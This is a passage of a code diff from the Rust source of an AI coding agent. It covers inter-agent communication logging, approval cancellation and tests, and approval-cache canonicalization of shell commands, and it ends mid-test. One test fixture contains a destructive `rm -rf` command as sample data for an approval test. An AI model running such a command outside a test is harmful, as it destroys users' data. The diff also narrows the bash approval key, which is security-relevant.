self.send_inter_agent_communication_after_capacity_check(
|
||||
new_thread.thread_id,
|
||||
&state,
|
||||
communication,
|
||||
context,
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
if multi_agent_version != MultiAgentVersion::V2 {
|
||||
let child_reference = agent_metadata
|
||||
.agent_path
|
||||
|
||||
@@ -3,6 +3,8 @@ use crate::CodexThread;
|
||||
use crate::StateDbHandle;
|
||||
use crate::ThreadManager;
|
||||
use crate::agent::agent_status_from_event;
|
||||
use crate::agent_communication::AgentCommunicationContext;
|
||||
use crate::agent_communication::AgentCommunicationKind;
|
||||
use crate::config::AgentRoleConfig;
|
||||
use crate::config::Config;
|
||||
use crate::config::ConfigBuilder;
|
||||
@@ -65,12 +67,11 @@ async fn test_config() -> (TempDir, Config) {
|
||||
test_config_with_cli_overrides(Vec::new()).await
|
||||
}
|
||||
|
||||
fn text_input(text: &str) -> Op {
|
||||
fn text_input(text: &str) -> Vec<UserInput> {
|
||||
vec![UserInput::Text {
|
||||
text: text.to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into()
|
||||
}
|
||||
|
||||
fn assistant_message(text: &str, phase: Option<MessagePhase>) -> ResponseItem {
|
||||
@@ -311,8 +312,7 @@ async fn send_input_errors_when_manager_dropped() {
|
||||
vec![UserInput::Text {
|
||||
text: "hello".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
)
|
||||
.await
|
||||
.expect_err("send_input should fail without a manager");
|
||||
@@ -423,8 +423,7 @@ async fn send_input_errors_when_thread_missing() {
|
||||
vec![UserInput::Text {
|
||||
text: "hello".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
)
|
||||
.await
|
||||
.expect_err("send_input should fail for missing thread");
|
||||
@@ -490,8 +489,7 @@ async fn send_input_submits_user_message() {
|
||||
vec![UserInput::Text {
|
||||
text: "hello from tests".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
)
|
||||
.await
|
||||
.expect("send_input should succeed");
|
||||
@@ -531,7 +529,11 @@ async fn send_inter_agent_communication_without_turn_queues_message_without_trig
|
||||
|
||||
let submission_id = harness
|
||||
.control
|
||||
.send_inter_agent_communication(thread_id, communication.clone())
|
||||
.send_inter_agent_communication(
|
||||
thread_id,
|
||||
communication.clone(),
|
||||
AgentCommunicationContext::new(AgentCommunicationKind::Message, ThreadId::new()),
|
||||
)
|
||||
.await
|
||||
.expect("send_inter_agent_communication should succeed");
|
||||
assert!(!submission_id.is_empty());
|
||||
@@ -656,7 +658,11 @@ async fn ensure_v2_agent_loaded_reloads_registered_unloaded_agent() {
|
||||
);
|
||||
harness
|
||||
.control
|
||||
.send_inter_agent_communication(spawned_agent.thread_id, communication.clone())
|
||||
.send_inter_agent_communication(
|
||||
spawned_agent.thread_id,
|
||||
communication.clone(),
|
||||
AgentCommunicationContext::new(AgentCommunicationKind::Message, ThreadId::new()),
|
||||
)
|
||||
.await
|
||||
.expect("send_inter_agent_communication should succeed after reload");
|
||||
let expected = (
|
||||
@@ -803,7 +809,11 @@ async fn encrypted_inter_agent_communication_clears_existing_last_task_message()
|
||||
);
|
||||
harness
|
||||
.control
|
||||
.send_inter_agent_communication(spawned_agent.thread_id, communication)
|
||||
.send_inter_agent_communication(
|
||||
spawned_agent.thread_id,
|
||||
communication,
|
||||
AgentCommunicationContext::new(AgentCommunicationKind::Followup, ThreadId::new()),
|
||||
)
|
||||
.await
|
||||
.expect("send_inter_agent_communication should succeed");
|
||||
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
use codex_protocol::ThreadId;
|
||||
use codex_protocol::protocol::InterAgentCommunication;
|
||||
|
||||
const AGENT_COMMUNICATION_TARGET: &str = "codex_otel.agent_communication";
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub(crate) enum AgentCommunicationKind {
|
||||
Spawn,
|
||||
Message,
|
||||
Followup,
|
||||
Result,
|
||||
}
|
||||
|
||||
impl AgentCommunicationKind {
|
||||
fn as_str(self) -> &'static str {
|
||||
match self {
|
||||
Self::Spawn => "spawn",
|
||||
Self::Message => "message",
|
||||
Self::Followup => "followup",
|
||||
Self::Result => "result",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub(crate) struct AgentCommunicationContext {
|
||||
kind: AgentCommunicationKind,
|
||||
sender_thread_id: ThreadId,
|
||||
}
|
||||
|
||||
impl AgentCommunicationContext {
|
||||
pub(crate) fn new(kind: AgentCommunicationKind, sender_thread_id: ThreadId) -> Self {
|
||||
Self {
|
||||
kind,
|
||||
sender_thread_id,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn logging_enabled() -> bool {
|
||||
tracing::enabled!(target: AGENT_COMMUNICATION_TARGET, tracing::Level::INFO)
|
||||
}
|
||||
|
||||
pub(crate) fn emit_agent_communication_send(
|
||||
communication_id: &str,
|
||||
context: &AgentCommunicationContext,
|
||||
communication: &InterAgentCommunication,
|
||||
receiver_thread_id: ThreadId,
|
||||
) {
|
||||
tracing::info!(
|
||||
target: AGENT_COMMUNICATION_TARGET,
|
||||
{
|
||||
event.name = "codex.agent_communication",
|
||||
communication_id,
|
||||
kind = context.kind.as_str(),
|
||||
state = "send",
|
||||
sender_thread_id = %context.sender_thread_id,
|
||||
receiver_thread_id = %receiver_thread_id,
|
||||
content = if communication.content.is_empty() {
|
||||
communication.encrypted_content.as_deref().unwrap_or_default()
|
||||
} else {
|
||||
communication.content.as_str()
|
||||
},
|
||||
},
|
||||
"agent communication"
|
||||
);
|
||||
}
|
||||
|
||||
pub(crate) fn emit_agent_communication_receive(communication_id: &str) {
|
||||
tracing::info!(
|
||||
target: AGENT_COMMUNICATION_TARGET,
|
||||
{
|
||||
event.name = "codex.agent_communication",
|
||||
communication_id,
|
||||
state = "receive",
|
||||
},
|
||||
"agent communication"
|
||||
);
|
||||
}
|
||||
+33
-20
@@ -1123,42 +1123,48 @@ impl ModelClientSession {
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks whether the current request is an incremental extension of the previous request.
|
||||
/// We only reuse an incremental input delta when non-input request fields are unchanged and
|
||||
/// `input` is a strict extension of the previous known input. Server-returned output items
|
||||
/// are treated as part of the baseline so we do not resend them.
|
||||
fn get_incremental_items(
|
||||
&self,
|
||||
request: &ResponsesApiRequest,
|
||||
last_response: Option<&LastResponse>,
|
||||
allow_empty_delta: bool,
|
||||
) -> Option<Vec<ResponseItem>> {
|
||||
// Checks whether the current request is an incremental extension of the previous request.
|
||||
// We only reuse an incremental input delta when non-input request fields are unchanged and
|
||||
// `input` is a strict
|
||||
// extension of the previous known input. Server-returned output items are treated as part
|
||||
// of the baseline so we do not resend them.
|
||||
let previous_request = self.websocket_session.last_request.as_ref()?;
|
||||
if !responses_request_properties_match(previous_request, request) {
|
||||
trace!("incremental request failed, websocket reuse properties didn't match");
|
||||
return None;
|
||||
}
|
||||
|
||||
let Some(after_previous_input) = request
|
||||
.input
|
||||
.strip_prefix(previous_request.input.as_slice())
|
||||
else {
|
||||
trace!("incremental request failed, items didn't match");
|
||||
return None;
|
||||
};
|
||||
let mut response_items =
|
||||
last_response.map_or_else(Vec::new, |response| response.items_added.clone());
|
||||
if !self.client.state.provider.info().is_openai() {
|
||||
response_items
|
||||
.iter_mut()
|
||||
.for_each(ResponseItem::clear_internal_chat_message_metadata_passthrough);
|
||||
// To compare the inputs, we concatenate the previous request items with the response items,
|
||||
// then compare that against the equivalent slice of request items, ignoring metadata. If
|
||||
// they match, we can consider the remaining items the incremental request.
|
||||
let mut previous_items = previous_request.input.clone();
|
||||
if let Some(response) = last_response {
|
||||
previous_items.extend_from_slice(&response.items_added);
|
||||
}
|
||||
let Some(incremental_items) = after_previous_input.strip_prefix(response_items.as_slice())
|
||||
previous_items
|
||||
.iter_mut()
|
||||
.for_each(ResponseItem::clear_internal_chat_message_metadata_passthrough);
|
||||
|
||||
let Some((request_items_to_compare, incremental_items)) =
|
||||
request.input.split_at_checked(previous_items.len())
|
||||
else {
|
||||
trace!("incremental request failed, items didn't match");
|
||||
trace!("incremental request failed, incompatible request length");
|
||||
return None;
|
||||
};
|
||||
let mut request_prefix = request_items_to_compare.to_vec();
|
||||
request_prefix
|
||||
.iter_mut()
|
||||
.for_each(ResponseItem::clear_internal_chat_message_metadata_passthrough);
|
||||
|
||||
if previous_items != request_prefix {
|
||||
trace!("incremental request failed, items didn't match");
|
||||
return None;
|
||||
}
|
||||
if !allow_empty_delta && incremental_items.is_empty() {
|
||||
return None;
|
||||
}
|
||||
@@ -1912,6 +1918,7 @@ where
|
||||
let mut logged_error = false;
|
||||
let mut tx_last_response = Some(tx_last_response);
|
||||
let mut items_added: Vec<ResponseItem> = Vec::new();
|
||||
let (request_start, mut ttft_ms) = (Instant::now(), None);
|
||||
let mut api_stream = api_stream;
|
||||
let upstream_request_id = upstream_request_id.as_deref();
|
||||
if let Some(upstream_request_id) = upstream_request_id {
|
||||
@@ -1961,6 +1968,7 @@ where
|
||||
Some(usage.cached_input_tokens),
|
||||
Some(usage.reasoning_output_tokens),
|
||||
usage.total_tokens,
|
||||
ttft_ms,
|
||||
);
|
||||
}
|
||||
inference_trace_attempt.record_completed(
|
||||
@@ -1988,6 +1996,11 @@ where
|
||||
}
|
||||
}
|
||||
Ok(event) => {
|
||||
if matches!(&event, ResponseEvent::OutputItemAdded(_)) && ttft_ms.is_none() {
|
||||
ttft_ms = Some(
|
||||
i64::try_from(request_start.elapsed().as_millis()).unwrap_or(i64::MAX),
|
||||
);
|
||||
}
|
||||
if tx_event.send(Ok(event)).await.is_err() {
|
||||
inference_trace_attempt.record_cancelled(
|
||||
STREAM_DROPPED_REASON,
|
||||
|
||||
@@ -497,6 +497,7 @@ async fn handle_exec_approval(
|
||||
cancel_token: &CancellationToken,
|
||||
) {
|
||||
let approval_id_for_op = event.effective_approval_id();
|
||||
let approval_purpose = event.approval_purpose;
|
||||
let ExecApprovalRequestEvent {
|
||||
call_id,
|
||||
approval_id,
|
||||
@@ -538,6 +539,7 @@ async fn handle_exec_approval(
|
||||
&approval_id_for_op,
|
||||
cancel_token,
|
||||
Some(&review_cancel),
|
||||
/*pending_approval_to_cancel*/ None,
|
||||
)
|
||||
.await
|
||||
} else {
|
||||
@@ -546,6 +548,7 @@ async fn handle_exec_approval(
|
||||
parent_ctx,
|
||||
call_id,
|
||||
approval_id,
|
||||
approval_purpose,
|
||||
environment_id,
|
||||
command,
|
||||
cwd,
|
||||
@@ -559,6 +562,7 @@ async fn handle_exec_approval(
|
||||
&approval_id_for_op,
|
||||
cancel_token,
|
||||
/*review_cancel_token*/ None,
|
||||
Some(PendingApprovalToCancel::Exec),
|
||||
)
|
||||
.await
|
||||
};
|
||||
@@ -647,6 +651,7 @@ async fn handle_patch_approval(
|
||||
&approval_id,
|
||||
cancel_token,
|
||||
Some(&review_cancel),
|
||||
/*pending_approval_to_cancel*/ None,
|
||||
)
|
||||
.await,
|
||||
)
|
||||
@@ -665,6 +670,7 @@ async fn handle_patch_approval(
|
||||
&approval_id,
|
||||
cancel_token,
|
||||
/*review_cancel_token*/ None,
|
||||
Some(PendingApprovalToCancel::Patch),
|
||||
)
|
||||
.await
|
||||
};
|
||||
@@ -763,6 +769,7 @@ async fn maybe_auto_review_mcp_request_user_input(
|
||||
&event.call_id,
|
||||
cancel_token,
|
||||
Some(&review_cancel),
|
||||
/*pending_approval_to_cancel*/ None,
|
||||
)
|
||||
.await;
|
||||
let selected_label = match decision {
|
||||
@@ -884,13 +891,21 @@ where
|
||||
}
|
||||
}
|
||||
|
||||
/// Await an approval decision, aborting on cancellation.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum PendingApprovalToCancel {
|
||||
Exec,
|
||||
Patch,
|
||||
}
|
||||
|
||||
/// Await an approval decision, aborting any matching parent approval waiter on
|
||||
/// cancellation. Guardian-only reviews do not create such a waiter.
|
||||
async fn await_approval_with_cancel<F>(
|
||||
fut: F,
|
||||
parent_session: &Session,
|
||||
approval_id: &str,
|
||||
cancel_token: &CancellationToken,
|
||||
review_cancel_token: Option<&CancellationToken>,
|
||||
pending_approval_to_cancel: Option<PendingApprovalToCancel>,
|
||||
) -> codex_protocol::protocol::ReviewDecision
|
||||
where
|
||||
F: core::future::Future<Output = codex_protocol::protocol::ReviewDecision>,
|
||||
@@ -901,9 +916,25 @@ where
|
||||
if let Some(review_cancel_token) = review_cancel_token {
|
||||
review_cancel_token.cancel();
|
||||
}
|
||||
parent_session
|
||||
.notify_approval(approval_id, codex_protocol::protocol::ReviewDecision::Abort)
|
||||
.await;
|
||||
match pending_approval_to_cancel {
|
||||
Some(PendingApprovalToCancel::Exec) => {
|
||||
parent_session
|
||||
.notify_exec_approval(
|
||||
approval_id,
|
||||
codex_protocol::protocol::ReviewDecision::Abort,
|
||||
)
|
||||
.await;
|
||||
}
|
||||
Some(PendingApprovalToCancel::Patch) => {
|
||||
parent_session
|
||||
.notify_patch_approval(
|
||||
approval_id,
|
||||
codex_protocol::protocol::ReviewDecision::Abort,
|
||||
)
|
||||
.await;
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
codex_protocol::protocol::ReviewDecision::Abort
|
||||
}
|
||||
decision = fut => {
|
||||
|
||||
@@ -9,6 +9,7 @@ use codex_protocol::models::ResponseItem;
|
||||
use codex_protocol::protocol::AgentStatus;
|
||||
use codex_protocol::protocol::AskForApproval;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::ExecApprovalRequestEvent;
|
||||
use codex_protocol::protocol::GuardianAssessmentAction;
|
||||
use codex_protocol::protocol::GuardianAssessmentStatus;
|
||||
@@ -322,6 +323,7 @@ async fn handle_exec_approval_uses_call_id_for_guardian_review_and_approval_id_f
|
||||
ExecApprovalRequestEvent {
|
||||
call_id: "command-item-1".to_string(),
|
||||
approval_id: Some("callback-approval-1".to_string()),
|
||||
approval_purpose: Some(ExecApprovalPurpose::SandboxRetry),
|
||||
turn_id: "child-turn-1".to_string(),
|
||||
environment_id: Some("remote".to_string()),
|
||||
started_at_ms: 0,
|
||||
@@ -396,6 +398,286 @@ async fn handle_exec_approval_uses_call_id_for_guardian_review_and_approval_id_f
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn handle_exec_approval_preserves_retry_id_through_non_guardian_parent_round_trip() {
|
||||
let (parent_session, parent_ctx, rx_events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*parent_session.active_turn.lock().await = Some(crate::state::ActiveTurn::default());
|
||||
let mut parent_ctx = Arc::try_unwrap(parent_ctx).expect("single turn context ref");
|
||||
let mut config = (*parent_ctx.config).clone();
|
||||
config.approvals_reviewer = ApprovalsReviewer::User;
|
||||
parent_ctx.config = Arc::new(config);
|
||||
let parent_ctx = Arc::new(parent_ctx);
|
||||
|
||||
let (tx_sub, rx_sub) = bounded(SUBMISSION_CHANNEL_CAPACITY);
|
||||
let (_tx_events, rx_events_child) = bounded(SUBMISSION_CHANNEL_CAPACITY);
|
||||
let (_agent_status_tx, agent_status) = watch::channel(AgentStatus::PendingInit);
|
||||
let codex = Arc::new(Codex {
|
||||
tx_sub,
|
||||
rx_event: rx_events_child,
|
||||
agent_status,
|
||||
session: Arc::clone(&parent_session),
|
||||
session_loop_termination: completed_session_loop_termination(),
|
||||
});
|
||||
|
||||
let cancel_token = CancellationToken::new();
|
||||
let handle = tokio::spawn({
|
||||
let codex = Arc::clone(&codex);
|
||||
let parent_session = Arc::clone(&parent_session);
|
||||
let parent_ctx = Arc::clone(&parent_ctx);
|
||||
let cancel_token = cancel_token.clone();
|
||||
async move {
|
||||
handle_exec_approval(
|
||||
codex.as_ref(),
|
||||
"child-turn-1".to_string(),
|
||||
&parent_session,
|
||||
&parent_ctx,
|
||||
delegated_retry_exec_approval_event(),
|
||||
&cancel_token,
|
||||
)
|
||||
.await;
|
||||
}
|
||||
});
|
||||
|
||||
let request_event = timeout(Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("exec approval event timed out")
|
||||
.expect("exec approval event missing");
|
||||
let EventMsg::ExecApprovalRequest(request) = request_event.msg else {
|
||||
panic!("expected ExecApprovalRequest event");
|
||||
};
|
||||
assert_eq!(request.call_id, "command-item-1");
|
||||
assert_eq!(request.approval_id.as_deref(), Some("retry-id"));
|
||||
assert_eq!(
|
||||
request.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
|
||||
parent_session
|
||||
.notify_exec_approval("retry-id", ReviewDecision::Approved)
|
||||
.await;
|
||||
|
||||
timeout(Duration::from_secs(1), handle)
|
||||
.await
|
||||
.expect("handle_exec_approval hung")
|
||||
.expect("handle_exec_approval join error");
|
||||
let submission = timeout(Duration::from_secs(1), rx_sub.recv())
|
||||
.await
|
||||
.expect("exec approval response timed out")
|
||||
.expect("exec approval response missing");
|
||||
assert_eq!(
|
||||
submission.op,
|
||||
Op::ExecApproval {
|
||||
id: "retry-id".to_string(),
|
||||
turn_id: Some("child-turn-1".to_string()),
|
||||
decision: ReviewDecision::Approved,
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delegated_exec_preserves_raw_purpose_and_cancel_cleans_retry_waiter() {
|
||||
let (parent_session, parent_ctx, rx_events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
*parent_session.active_turn.lock().await = Some(crate::state::ActiveTurn::default());
|
||||
let mut parent_ctx = Arc::try_unwrap(parent_ctx).expect("single turn context ref");
|
||||
let mut config = (*parent_ctx.config).clone();
|
||||
config.approvals_reviewer = ApprovalsReviewer::User;
|
||||
parent_ctx.config = Arc::new(config);
|
||||
let parent_ctx = Arc::new(parent_ctx);
|
||||
|
||||
let (tx_sub, rx_sub) = bounded(SUBMISSION_CHANNEL_CAPACITY);
|
||||
let (_tx_events, rx_events_child) = bounded(SUBMISSION_CHANNEL_CAPACITY);
|
||||
let (_agent_status_tx, agent_status) = watch::channel(AgentStatus::PendingInit);
|
||||
let codex = Arc::new(Codex {
|
||||
tx_sub,
|
||||
rx_event: rx_events_child,
|
||||
agent_status,
|
||||
session: Arc::clone(&parent_session),
|
||||
session_loop_termination: completed_session_loop_termination(),
|
||||
});
|
||||
|
||||
let legacy_handle = tokio::spawn({
|
||||
let codex = Arc::clone(&codex);
|
||||
let parent_session = Arc::clone(&parent_session);
|
||||
let parent_ctx = Arc::clone(&parent_ctx);
|
||||
async move {
|
||||
let mut event = delegated_retry_exec_approval_event();
|
||||
event.call_id = "legacy-command-item".to_string();
|
||||
event.approval_id = None;
|
||||
event.approval_purpose = None;
|
||||
handle_exec_approval(
|
||||
codex.as_ref(),
|
||||
"legacy-child-turn".to_string(),
|
||||
&parent_session,
|
||||
&parent_ctx,
|
||||
event,
|
||||
&CancellationToken::new(),
|
||||
)
|
||||
.await;
|
||||
}
|
||||
});
|
||||
let legacy_request = timeout(Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("legacy exec approval event timed out")
|
||||
.expect("legacy exec approval event missing");
|
||||
let EventMsg::ExecApprovalRequest(legacy_request) = legacy_request.msg else {
|
||||
panic!("expected legacy ExecApprovalRequest event");
|
||||
};
|
||||
assert_eq!(legacy_request.call_id, "legacy-command-item");
|
||||
assert_eq!(legacy_request.approval_purpose, None);
|
||||
parent_session
|
||||
.notify_exec_approval("legacy-command-item", ReviewDecision::Approved)
|
||||
.await;
|
||||
timeout(Duration::from_secs(1), legacy_handle)
|
||||
.await
|
||||
.expect("legacy handle_exec_approval hung")
|
||||
.expect("legacy handle_exec_approval join error");
|
||||
let legacy_submission = timeout(Duration::from_secs(1), rx_sub.recv())
|
||||
.await
|
||||
.expect("legacy exec approval response timed out")
|
||||
.expect("legacy exec approval response missing");
|
||||
assert_eq!(
|
||||
legacy_submission.op,
|
||||
Op::ExecApproval {
|
||||
id: "legacy-command-item".to_string(),
|
||||
turn_id: Some("legacy-child-turn".to_string()),
|
||||
decision: ReviewDecision::Approved,
|
||||
}
|
||||
);
|
||||
|
||||
let cancel_token = CancellationToken::new();
|
||||
let handle = tokio::spawn({
|
||||
let codex = Arc::clone(&codex);
|
||||
let parent_session = Arc::clone(&parent_session);
|
||||
let parent_ctx = Arc::clone(&parent_ctx);
|
||||
let cancel_token = cancel_token.clone();
|
||||
async move {
|
||||
handle_exec_approval(
|
||||
codex.as_ref(),
|
||||
"child-turn-1".to_string(),
|
||||
&parent_session,
|
||||
&parent_ctx,
|
||||
delegated_retry_exec_approval_event(),
|
||||
&cancel_token,
|
||||
)
|
||||
.await;
|
||||
}
|
||||
});
|
||||
|
||||
let request_event = timeout(Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("exec approval event timed out")
|
||||
.expect("exec approval event missing");
|
||||
let EventMsg::ExecApprovalRequest(request) = request_event.msg else {
|
||||
panic!("expected ExecApprovalRequest event");
|
||||
};
|
||||
assert_eq!(request.call_id, "command-item-1");
|
||||
assert_eq!(request.approval_id.as_deref(), Some("retry-id"));
|
||||
assert_eq!(
|
||||
request.approval_purpose,
|
||||
Some(ExecApprovalPurpose::SandboxRetry)
|
||||
);
|
||||
|
||||
cancel_token.cancel();
|
||||
timeout(Duration::from_secs(1), handle)
|
||||
.await
|
||||
.expect("handle_exec_approval hung")
|
||||
.expect("handle_exec_approval join error");
|
||||
|
||||
let submission = timeout(Duration::from_secs(1), rx_sub.recv())
|
||||
.await
|
||||
.expect("exec cancellation response timed out")
|
||||
.expect("exec cancellation response missing");
|
||||
assert_eq!(
|
||||
submission.op,
|
||||
Op::ExecApproval {
|
||||
id: "retry-id".to_string(),
|
||||
turn_id: Some("child-turn-1".to_string()),
|
||||
decision: ReviewDecision::Abort,
|
||||
}
|
||||
);
|
||||
assert!(
|
||||
parent_session
|
||||
.take_pending_exec_approval("retry-id")
|
||||
.await
|
||||
.is_none(),
|
||||
"exec cancellation must remove the matching retry waiter"
|
||||
);
|
||||
|
||||
parent_session
|
||||
.notify_exec_approval("retry-id", ReviewDecision::Approved)
|
||||
.await;
|
||||
assert!(
|
||||
parent_session
|
||||
.take_pending_exec_approval("retry-id")
|
||||
.await
|
||||
.is_none(),
|
||||
"a late response must not recreate or resolve a cancelled retry waiter"
|
||||
);
|
||||
assert!(
|
||||
rx_sub.try_recv().is_err(),
|
||||
"a late response must not produce another child approval response"
|
||||
);
|
||||
}
|
||||
|
||||
fn delegated_retry_exec_approval_event() -> ExecApprovalRequestEvent {
|
||||
ExecApprovalRequestEvent {
|
||||
call_id: "command-item-1".to_string(),
|
||||
approval_id: Some("retry-id".to_string()),
|
||||
approval_purpose: Some(ExecApprovalPurpose::SandboxRetry),
|
||||
turn_id: "child-turn-1".to_string(),
|
||||
environment_id: Some("remote".to_string()),
|
||||
started_at_ms: 0,
|
||||
command: vec!["rm".to_string(), "-rf".to_string(), "tmp".to_string()],
|
||||
cwd: test_path_buf("/tmp").abs(),
|
||||
reason: Some("unsafe subcommand".to_string()),
|
||||
network_approval_context: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_network_policy_amendments: None,
|
||||
additional_permissions: None,
|
||||
available_decisions: Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]),
|
||||
parsed_cmd: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cancelling_delegated_patch_removes_the_patch_waiter() {
|
||||
let (parent_session, parent_ctx, _rx_events) =
|
||||
crate::session::tests::make_session_and_context_with_rx().await;
|
||||
let approval_id = "delegated-patch-cancel";
|
||||
let decision_rx = parent_session
|
||||
.request_patch_approval(
|
||||
&parent_ctx,
|
||||
approval_id.to_string(),
|
||||
HashMap::new(),
|
||||
/*reason*/ None,
|
||||
/*grant_root*/ None,
|
||||
)
|
||||
.await;
|
||||
let cancel_token = CancellationToken::new();
|
||||
cancel_token.cancel();
|
||||
|
||||
let decision = await_approval_with_cancel(
|
||||
async move { decision_rx.await.unwrap_or(ReviewDecision::Abort) },
|
||||
&parent_session,
|
||||
approval_id,
|
||||
&cancel_token,
|
||||
/*review_cancel_token*/ None,
|
||||
Some(PendingApprovalToCancel::Patch),
|
||||
)
|
||||
.await;
|
||||
|
||||
assert_eq!(decision, ReviewDecision::Abort);
|
||||
assert!(
|
||||
parent_session
|
||||
.take_pending_patch_approval(approval_id)
|
||||
.await
|
||||
.is_none(),
|
||||
"patch cancellation must remove the matching pending waiter"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delegated_mcp_guardian_abort_returns_synthetic_decline_answer() {
|
||||
let (parent_session, parent_ctx, _rx_events) =
|
||||
|
||||
@@ -1,41 +1,29 @@
|
||||
use codex_shell_command::bash::extract_bash_command;
|
||||
use codex_shell_command::bash::parse_shell_lc_plain_commands;
|
||||
use codex_shell_command::powershell::extract_powershell_command;
|
||||
|
||||
const CANONICAL_BASH_SCRIPT_PREFIX: &str = "__codex_shell_script__";
|
||||
const CANONICAL_POWERSHELL_SCRIPT_PREFIX: &str = "__codex_powershell_script__";
|
||||
|
||||
/// Canonicalize command argv for approval-cache matching.
|
||||
///
|
||||
/// This keeps approval decisions stable across harmless whitespace changes in
|
||||
/// parsed word-only shell scripts while preserving the executable and wrapper
|
||||
/// arguments. They are part of the key because they take effect before the
|
||||
/// script and can be attacker controlled.
|
||||
/// Bash word-only scripts retain their historical inner-command identity. For
|
||||
/// PowerShell, the executable, wrapper flags, and exact script are all part of
|
||||
/// the key because each affects the authorization boundary.
|
||||
pub(crate) fn canonicalize_command_for_approval(command: &[String]) -> Vec<String> {
|
||||
if let Some((shell, script)) = extract_bash_command(command) {
|
||||
let shell_mode = command.get(1).cloned().unwrap_or_default();
|
||||
if let Some(commands) = parse_shell_lc_plain_commands(command)
|
||||
&& let [single_command] = commands.as_slice()
|
||||
{
|
||||
let mut canonical_command = vec![shell.to_string(), shell_mode];
|
||||
canonical_command.extend(single_command.clone());
|
||||
return canonical_command;
|
||||
}
|
||||
if let Some(commands) = parse_shell_lc_plain_commands(command)
|
||||
&& let [single_command] = commands.as_slice()
|
||||
{
|
||||
return single_command.clone();
|
||||
}
|
||||
|
||||
if let Some((_shell, script)) = extract_bash_command(command) {
|
||||
let shell_mode = command.get(1).cloned().unwrap_or_default();
|
||||
return vec![
|
||||
CANONICAL_BASH_SCRIPT_PREFIX.to_string(),
|
||||
shell.to_string(),
|
||||
shell_mode,
|
||||
script.to_string(),
|
||||
];
|
||||
}
|
||||
|
||||
if extract_powershell_command(command).is_some() {
|
||||
let mut canonical_command = vec![CANONICAL_POWERSHELL_SCRIPT_PREFIX.to_string()];
|
||||
canonical_command.extend(command.iter().cloned());
|
||||
return canonical_command;
|
||||
}
|
||||
|
||||
command.to_vec()
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +1,18 @@
|
||||
use super::canonicalize_command_for_approval;
|
||||
use pretty_assertions::assert_eq;
|
||||
use std::collections::HashSet;
|
||||
|
||||
fn powershell(executable: &str, command_flag: &str, script: &str) -> Vec<String> {
|
||||
vec![
|
||||
executable.to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
command_flag.to_string(),
|
||||
script.to_string(),
|
||||
]
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canonicalizes_word_only_shell_scripts_with_shell_identity() {
|
||||
fn canonicalizes_word_only_shell_scripts_to_inner_command() {
|
||||
let command_a = vec![
|
||||
"/bin/bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
@@ -17,15 +27,13 @@ fn canonicalizes_word_only_shell_scripts_with_shell_identity() {
|
||||
assert_eq!(
|
||||
canonicalize_command_for_approval(&command_a),
|
||||
vec![
|
||||
"/bin/bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
"cargo".to_string(),
|
||||
"test".to_string(),
|
||||
"-p".to_string(),
|
||||
"codex-core".to_string(),
|
||||
]
|
||||
);
|
||||
assert_ne!(
|
||||
assert_eq!(
|
||||
canonicalize_command_for_approval(&command_a),
|
||||
canonicalize_command_for_approval(&command_b)
|
||||
);
|
||||
@@ -45,89 +53,71 @@ fn canonicalizes_heredoc_scripts_to_stable_script_key() {
|
||||
canonicalize_command_for_approval(&command_a),
|
||||
vec![
|
||||
"__codex_shell_script__".to_string(),
|
||||
"/bin/zsh".to_string(),
|
||||
"-lc".to_string(),
|
||||
script.to_string(),
|
||||
]
|
||||
);
|
||||
assert_ne!(
|
||||
assert_eq!(
|
||||
canonicalize_command_for_approval(&command_a),
|
||||
canonicalize_command_for_approval(&command_b)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn canonicalizes_powershell_wrappers_to_stable_script_key() {
|
||||
let script = "Write-Host hi";
|
||||
let command_a = vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
];
|
||||
let command_b = vec![
|
||||
"powershell".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
fn preserves_exact_powershell_approval_identity() {
|
||||
let base = powershell("C:/workspace/powershell.exe", "-Command", "Write-Host hi");
|
||||
let variants = [
|
||||
powershell("powershell.exe", "-Command", "Write-Host hi"),
|
||||
powershell("C:/other/powershell.exe", "-Command", "Write-Host hi"),
|
||||
powershell("C:/workspace/pwsh.exe", "-Command", "Write-Host hi"),
|
||||
powershell("C:/workspace/powershell.exe", "-c", "Write-Host hi"),
|
||||
powershell(
|
||||
